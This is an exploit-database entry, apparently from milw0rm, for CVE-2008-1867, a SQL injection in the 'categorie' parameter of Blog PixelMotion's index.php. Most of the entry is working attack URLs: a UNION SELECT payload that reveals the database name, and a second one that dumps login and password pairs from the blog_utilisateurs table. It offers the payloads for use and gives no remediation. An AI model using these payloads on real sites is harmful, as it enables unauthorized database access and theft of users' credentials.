Blog PixelMotion - 'categorie' SQL Injection

Author: parad0x
type: webapps
platform: php
port: 
date_added: 2008-04-05  
date_updated: 2016-11-17  
verified: 1  
codes: OSVDB-44432;CVE-2008-1867  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 5382.txt  

Blog Pixel Motion Sql Injection Vulnerability
-------------------------------------------------------------------------------------------------
# Author  : parad0x
# Home   : www.inso.host.sk
# Script  : Blog PixelMotion
# Download  : http://www.pixelmotion.org/zip/blog.zip
-------------------------------------------------------------------------------------------------
http://[target]/index.php?categorie=[SQL]

-------------------------------------------------------------------------------------------------
Example:

http://www.xxx.org/blog/index.php?categorie=-1+union+select+0,1,2,database(),4,5,6/*
-------------------------------------------------------------------------------------------------
greetz : VoLqaN
-------------------------------------------------------------------------------------------------

side note (thanks C0D3R-DZ):
http://localhost/[script_path]/index.php?categorie=-1+union+select+1,2,concat(login,0x3a,pass),4,5,6+from+blog_utilisateurs/*

# milw0rm.com [2008-04-06]